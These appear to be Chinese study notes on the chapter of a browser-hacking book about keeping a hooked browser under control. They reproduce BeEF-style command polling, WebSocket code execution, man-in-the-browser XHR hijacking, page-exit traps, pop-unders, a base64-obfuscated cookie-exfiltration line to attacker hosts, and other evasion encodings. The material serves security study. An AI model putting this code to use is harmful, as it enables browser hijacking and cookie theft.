持续控制
持续控制
通过初始控制,我们进的“大门”,那么如何让“大门”始终为你敞开呢?
理解控制持久化
理想情况下,保持对浏览器的控制不仅意味着断开网络时不失去控制,同时也意味着与用户访问哪个网站不相关。
持久控制可以分两个方面:
- 持久通信:通过持久的通信渠道,保障对一个或多个浏览器的持续控制。依靠使用不同渠道接触被你控制的服务器。
- 为了实现持续控制,往往会通过勾连系统调用1,直接在内核甚至驱动程序中注入代码,保证操作系统在重启、更新,甚至在系统清理后,仍然可以持续控制。
- 勾连浏览器:与目标浏览器建立双向通信渠道的过程。
- 持久存续:让通信渠道保持畅通,无论用户采取什么动作都不受干扰。
通信技术
通信渠道:
- 轮询
客户端不断检查服务器是否有变化或更新。(此时的客户端是被注入到目标浏览器中的JavaScript所控制的,服务器则是攻击者所拥有的依赖轮询的软件。) - 需要通信渠道的原因
- 检测客户端是否断开连接
- 从服务器向客户端发送新命令
下面介绍几种创建通信渠道的技术。
使用XMLHttpRequest轮询
XMLHttpRequest对象非常适合作为默认的通信渠道,因为所有浏览器都支持它。
- 基本思路
通过XMLHttpRequest对象不断创建发送给攻击服务器(比如BeEF)的异步GET请求。 - BeEF的响应方式
- 以空响应表示没有新动作
- 以Content-length大于0的响应告诉被控制的浏览器执行新的命令
- 实现
- 使用JavaScript闭包的JavaScript代码
- 闭包
在JavaScript中,是一种特殊对象,既包含函数,又包含创建函数的环境。- 示例
var a=123; function exec_wrapper(){ //闭包 var b=789; function do_something(){ a=456; console.log(a); //456——函数作用域 console.log(b); //789——函数作用域 }; return do_something } console.log(a); //123——全局作用域 var wrapper=exec_wrapper(); //已经运行一次 wrapper(); //再次执行仍能访问函数域中的b——闭包的特点
- 示例
- 实现
- 思想:可以创建一个包装器,把命令模块添加到栈中。每次轮询请求完成,stack.pop()会确保移除栈中最后一个元素,然后执行它。
- 代码
commands: new Array(), //命令栈 execute: function(fn){ //包含器,将命令模块添加到命令栈中 this.document.push(fn); } get_commands: function(){ //轮询。如果响应不等于0,调用execute_commands() try { this.lock=true; //lock是对象 //轮询server_host获得新命令 poll(server_host, function(response){ //poll()是函数 if (response.body!=null && response.body.length>0) execute_commands(); }); } catch(e) { this.lock=false; return; } this.lock=false; }, execute_commands: function{ //如果有的话,执行接收到的新命令 if(commands.length == 0) return; this.lock = true; while(commands.length > 0) { command = commands.pop(); try { command(); //使用了闭包,即命令模块被封装在了自己的匿名函数中 } catch(e) { console.error(.message); } } this.lock=false; }
- 闭包
- 使用JavaScript闭包的JavaScript代码
使用跨站资源共享
- 使用基础
- CORS允许Web应用指定不同的来源读取HTTP响应
- 有一个中心攻击服务器,想让它与访问不同来源的浏览器通信,那利用CORS正合适
- BeEF
- 实现基础:BeEF服务器通过以下HTTP头允许来自任何地方的跨域POST和GET请求
Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET
使用WebSocket通信
- 示例
- 通过Ruby Web服务器连接勾连浏览器(RubyWebSocket服务器实现基于EM-WebSocket库(或叫gem))
- WebSocket服务器代码
require 'em-websocket' EventMachine.run { EventMachine::WebSocket.start( :host => "0.0.0.0", //设置监听 :port => 6666, //绑定端口 :secure => false) do |ws| begin ws.onmessage do |msg| p "Received:" p "->#{msg}" ws.send("alert(1);") end rescue Exception => e print_error "WebSocket error: #{e}" end end }
- 客户端代码
var socket = new WebSocket("ws://browserhacker.com:6666/"); socket.onopen = function(){ //信道打开后向服务器发送信息 console.log("Socket open."); socket.send("Server, send me commands."); } socket.onmessage = function(){ //服务器响应后触发 f=new Function(msg.data); f(); console.log("Command received and executed."); }
- 确定浏览器是否支持WebSocket API或Mozilla
返回True则可以在JavaScript中使用WebSocket。MozWebSocket: hasWebSocket: function(){ return !!window.WebSocket || !!window.MozWebSocket }
使用消息传递通信
window.postMessage()也是一种遵循SOP但又能实现跨域通信的原生方法。
- 流程
- 在攻击服务器(browserhacker.com)上托管一个IFrame,目标站点为:browservictim.com
<html> <body> <b>Embed me on a different origin</b> <div id="debug">Ready to receive data...</div> <script> window.addEventListener("message", receiveMessage, false); function doClick(){ parent.postMessage("Message sent from " + location.host, "http://browservictim.com"); } var debug=document.getElementById("debug"); function receiveMessage(event) { debug.innerHTML += "Data: " + event.data + "\n Origin: " + event.origin; parent.postMessage("alter(1)",event.origin); } </script> </body> </html>
- 利用目标站点的XSS隐患
<div id="debug"></div> <div id="ui"> <input type="text" id="v" /> <input type="button" value="Send to server" onclick="post_msg();"/> //窗体先加载服务器上的代码 <iframe id="to_server" src="http://browserhacker.com/postMessage_server.html"></iframe> </div> <script type="text/javascript"> //注入代码 window.addEventListener("message", receiveMessage, false); //设置监听 var infoBar=document.getElementById("debug"); //获得debug对象的引用 function receiveMessage(event) { infoBar.innerHTML += event.origin + ": " +event.data + ""; //向制定对象插入内容 new Function(event.data)(); } function post_msg(domain) { var to_server=document.getElementById("to_server"); to_server.contentWindow.postMessage(""+eval(document.getElementById("v").value),"http://browserhacker.com"); } </script>
- 在攻击服务器(browserhacker.com)上托管一个IFrame,目标站点为:browservictim.com
使用DNS隧道通信
- DNS预存技术:预先加载将来可能用到的资源,从而提高响应速度。
- 基本思路
创建一个简单的基于DNS的单向隐蔽信道,把请求发送到设计好的域,而该域被你控制的DNS服务器解析。可以利用这个信道向客户端发送对称密钥,以加密客户端与服务器间后续HTTP请求及响应的数据。
持久化技术
使用内嵌框架
- 选用原因
- 可以完全控制内嵌框架的DOM内容,也就是说CSS内容也可以控制;
- 内嵌框架主要用于在当前页面嵌入其他文档的事实,为持久化通信渠道提供了直截了当的方法。
使用完全叠加层
- 叠加层:一个页面组建可以在页面上看到,但代码及其他元素在后台并不可见,而是持续执行自己的逻辑。
- 示例(使用jQuery创建叠加层)
调用:createIframe: function (type, param, styles, onload) { var css={}; if (type=='hidden') { css=$j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles); } if (type=='fullscreen') { css=$j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px'}, styles); $j('body').css({'padding':'0px', 'margin':'0px'}); } var iframe=$j('<iframe />').attr(params).css(css).load(onload).prependTo('body'); return iframe; }
createIframe('fullscreen', {'src':'/login.jsp'}, {}, null);
修改显示的URL:history.pushState({be:"EF"}, "page x", "/login.jsp");
使用浏览器事件
- 依赖于处理window对象的onbeforeunload事件,默认由以下条件触发:
- 触发unload事件
- 调用window.close或document.close
- 调用location.replace或location.reload
- 示例
function display_confirm() { if (confirm("Are you sure you want to navigate away from this page?\n\n There is currently a request to the server pending. You will lose recent changes by navigating away.\n\n Press OK to continue, or Cancel to stay on the current page.")) { //用户点击OK则会不停循环 display_confirm(); } } function dontleave(e){ e=e || window.event; //IE浏览器语法不同 if (browser.isIE()) { e.cancelBubble = true; e.returnValue="There is currently a request to the server pending. You will lose recent changes by navigating away."; } else { if (e.stopPropagation) { e.stopPropagation(); e.preventDefault(); e.returnValue ="There is currently a request to the server pending. You will lose recent changes by navigating away."; } } //再次确认对话框继续骚扰 display_confirm(); return "There is currently a request to the server pending. You will lose recent changes by navigating away."; } window.onbeforeunload=dontleave; //覆盖已经注册的onbeforeunload事件的代码
使用底层弹出窗口
- 底层弹出窗口则出现在当前浏览器窗口后面,大多数现代浏览器默认都会屏蔽这种底层弹出窗口(因为浏览器认为这个新窗口并未经用户操作就打开了)
- 示例
- 打开底层弹出窗口
window.open('http://example.com', 'popunder', 'toolbar=0, location=0, directories=0, status=0, menubar=0, scrollbars=0, resizable=0, width=1, height=1, left='+screen.width+', top='+screen.height+'').blur(); window.focus();
- 绕过屏蔽
- 使用MouseEvents模拟鼠标操作
- 有一个可以控制的链接,可能是动态创建的,也可能是onClick属性中的一个XSS隐患
<a id="malicious_link" herf="http://google.com" onclick=" open_link() ">Goo</a> //点击时执行open_link()
- 在同一页面注入JS代码
function open_link() { window.open('http://example.com', 'popunder', 'toolbar=0, location=0, directories=0, status=0, menubar=0, scrollbars=0, resizable=0, width=1, height=1, left='+screen.width+', top='+screen.height+'').blur(); window.focus(); } function clickLink(link) { var cancelled=false; if (document.createEvent) { var event=document.createEvent("MouseEvents"); event.initMouseEvent("click", true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null); link.dispatchEvent(event); } else if (link.fireEvent) { link.fireEvent("onclick"); } } clickLink(document.getElementById('malicious_link'));
- 添加onClick属性
// 给页面中所有<a>标签添加onClick属性 var anchors=document.getElementsByTagName("a"); for (var i=0; i<anchors.length; i++) { if (anchors[i].hasAttribute("onclick")) { anchors[i].removeAttribute("onclick"); //有onclick属性则先移除 } anchors[i].setAttribute("onclick", "$.popunder(aPopunder)") //设置新的onclick属性 } //$.popunder()函数 var aPopunder = [['http://browserhacker.com', {"windows": {height:1, width:1, left:window.screenX, top:window.screenY}}]]; $.popunder(aPopunder)
- 有一个可以控制的链接,可能是动态创建的,也可能是onClick属性中的一个XSS隐患
- 使用MouseEvents模拟鼠标操作
- 打开底层弹出窗口
使用浏览器中间人攻击
主要是利用AJAX技术。
劫持AJAX请求
- 目标:劫持AJAX的GET和POST请求
- 关键:重写内置DOM方法的原型
- 示例
- 自定义逻辑重写XMLHttpRequest对象原型的open方法
init: function (cid,curl){ beef.mitb.cid=cid; beef.mitb.curl=curl; /*重写open方法劫持Ajax请求*/ var xmi_type; var hook_file = "<%= @hook_file %>"; if (window.XMLHttpRequest && !(window.ActiveXObject)) { beef.mitb.sniff("Method XMLHttpRequest.open.override"); (function (open) { XMLHttpRequest.prototype.open = function(method, url, async, mitb_call) { //忽略,不劫持,属于轮询过程(检测是MitB在发起请求,还是勾连的通信请求) if (mitb_call || (url.indexOf(hook_file) !=-1 || url.indexOf("/dh?")!=-1)) { open.call(this,method,url,async,true); }else{ var portRegex=new RegExp(":[0-9]+"); var portR=portRegex.exec(url); var requestPort; if (portR!=null) { requestPort = portR[0].split(":")[1];} //GET请求 if (method=="GET") { //GET请求->跨源(新标签页中打开资源,保持当前页面的勾连) if (url.indexOf(document.location.hostname)==-1 || (portR!=null && requestPort!=document.location.port )){ beef.mitb.sniff("GET [Ajax CrossDomain Requset]: "+url); window.open(url); }else{ //GET请求->同源(在当面页面加载资源并显示内容,保证持久勾连) beef.mitb.sniff("GET [Ajax Request]: "+url); if (beef.mitb.fetch(url,document.getElementByTagName("html")[0])){ var title=""; if (document.getElementsByTagName("title").length==0){ title=document.title; }else{ title=document.getElementsByTagName("title")[0].innerHTML; } //写出页面url history.pushState({Be:"EF"},title,url); } } }else{ // POST请求(直接发送请求) beef.mitb.sniff("POST ajax request to: " + url); open.call(this, method, url, async, true); } } }; }) (XMLHttpRequest.prototype.open); } }
- 自定义逻辑重写XMLHttpRequest对象原型的open方法
劫持非AJAX请求
- 对于非AJAX请求,MitB代码会预先取得常规资源,篡改链接和表单的默认行为
- 示例
//通过AJAX取得勾连的链接
fetch:function (url, target) {
try{
var y = new XMLHttpRequest();
y.open('GET', url, false, true);
y.onreadystatechange = function () {
if (y.readyState == 4 && y.responseText != "") {
target.innerHTML = y.responseText;
}
};
y.send(null);
beef.mitb.sniff("GET: " + url);
return true;
} catch (x) {
window.open(url);
beef.mitb.sniff("GET [New Window]: " + url);
return false;
}
},
//锁定链接,阻止离开
poisonAnchor:function (e) {
try{
e.preventDefault;
if (beef.mitb.fetch(e.currentTarget,document.getElementsByTagName("html")[0])) {
var title = "";
if(document.getElementsByTagName("title").length == 0){
title = document.title;
}else{
title = document.getElementsByTagName("title")[0].innerHTML;
}
history.pushState({ Be:"EF" }, title, e.currentTarget);
}
}catch (e) {
console.error('beef.mitb.poisonAnchor - failed to execute: '+ e.message);
}
return false;
},
var anchors = document.getElementsByTagName("a");
var lis = document.getElementsByTagName("li");
for (var i = 0; i < anchors.length; i++) {
anchors[i].onclick = beef.mitb.poisonAnchor;
}
for (var i = 0; i < lis.length; i++) {
if (lis[i].hasAttribute("onclick")) {
lis[i].removeAttribute("onclick");
/*清除*/
lis[i].setAttribute("onclick", "beef.mitb.fetchOnclick('"+lis[i].getElementsByTagName("a")[0] + "')");
/*重写*/
}
}
躲避检测
使用编码躲避
base64编码
- 示例
location.href='http://browserhacker.com?c='+document.cookie
- base64编码
eval(atob("bG9jYXRpb24uaHJlZj0naHR0cDovL2F0dGF"+"ja2VyLmNvbT9jPScrZG9jdW1lbnQuY29va2ll"));
- 除去eval
setTimeout(atob("bG9jYXRpb24uaHJlZj0naHR0cDovL2Jyb3"+"dzZXJoYWNrZXIuY29tP2M9Jytkb2N1bWVudC5jb29raWU"));
- base64编码
空白符编码
- 使用空白字符对ASCII值进行二进制编码
- 进行编码
def whitespace_encode(input)
output = input.unpack('B*')
output = output.to_s.gsub(/[\["01\]]/, '[' => '', '"' => '', ']' => '', '0' => "\t", '1' => ' ')
end
encoded = whitespace_encode("alert(1)")
File.open("whitespace_out.js", 'w'){|f| f.write(encoded)}
- 进行解码
var whitespace_encoded = " ";
function decode_whitespace(css_space) {
var spacer = '';
for(y = 0; y < css_space.length/8; y++){
v = 0;
for(x = 0; x < 8; x++){
if(css_space.charCodeAt(x+(y*8)) > 9){
v++;
}
if(x != 7){
v = v << 1;
}
}
spacer += String.fromCharCode(v);
}return spacer;
}
var decoded = decode_whitespace(whitespace_encoded)
console.log(decoded.toString());
window.setTimeout(decoded);
非数字字母JavaScript
- 示例(JJencode)
- 编码前:
alert(1)
- 编码后:
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$], _$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$], $__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$}; $.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.__$+"\\"+$.$__+$.___+")"+"\"")())();
- 编码前:
使用模糊躲避
随机变量和方法
- 示例
- 针对每个勾连的浏览器使用散列数据结构
- 实现
code = <<EOF var malware = { version: '0.0.1-alpha', exploits: new Array("http://malicious.com/aa.js",""), persistent: true }; window.malware = malware; function redirect_to_site(){ window.location = window.malware.exploits[0]; }; redirect_to_site(); EOF def rnd(length=5) chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ_' result = '' length.times { result << chars[rand(chars.size)] } result end lookup = { "malware" => rnd(7), "exploits" => rnd(), "version" => rnd(), "persistent" => rnd(12), "0.0.1-alpha" => rnd(10), "redirect_to_site" => rnd(4) } lookup.each do |key,value| code = code.gsub!(key, value) end File.open("result.js", 'w'){|f|f.write(code)}
混合对象表示法
- JavaScript代码中我们通常习惯于用点访问属性,而不习惯于用方括号,但是实际上
window.malware.exploits[0]; 等价于 window['malware']['exploits'][0];
时间延迟
- 恶意软件检测技术经常模拟JavaScript引擎,这些引擎出于性能考虑,往往会忽略setTimeout()或setInterval()的延迟。
- 示例
var timeout = 10000;
var interval = new Date().getSeconds();
function timer(){ //判断时间
var s_interval = new Date().getSeconds();
var diff = s_interval - interval;
if(diff == 10 && diff > 0) key = diff + "aaa"
if(diff == -10 && diff < 0) key = diff + "bbb"
decrypt(key);
}
function decrypt(key){
// 加密程序
alert(key);
}
setTimeout("timer()", timeout); 在10秒钟的延迟后被调用
混合其他上下文的内容
- 就是把代码切分成多个部分或上下文,每一部分都需要其他上下文的信息才能起作用。
- 示例
- 第一部分(来自DOM)
<body> <div id="hidden_div"> <p>key</p> </div> </body>
- 第二部分(来自页面的URI——http://browserhacker.com/mixed-content/dom.html#YTJWNU1pMWpiMjUwWlc1MA==:)
function decrypt(key){ // 加密程序 alert(key); } var key = document.getElementById('hidden_div').innerHTML; var key2 = location.href.split("#")[1]; decrypt(key + key2);
- 第一部分(来自DOM)
使用callee属性
- 在JavaScript中,如果在函数内部调用arguments.callee,则会返回函数自身。(avaScript已经不提倡使用这个属性)
使用avaScript引擎的奇怪特性躲避
- 知道目标使用的渲染引擎,可以调整模糊技术,通过利用不同渲染引擎间的JavaScript差异,增大反模糊的难度。
- 示例
'\v'=='v'
:,Trident(IE的引擎)在对下面的代码求值时返回true,而Gecko和WebKit则返回falseis_ie=/*@cc_on!@*/false;
(条件注释):IE在对这行代码求值,就会将其解释为!false,从而让变量is_ie的值为true,其他浏览器中,由于会把布尔取反操作符看成代码注释,所以变量is_ie的值都将为false。
参考文献
《黑客攻防技术宝典——浏览器》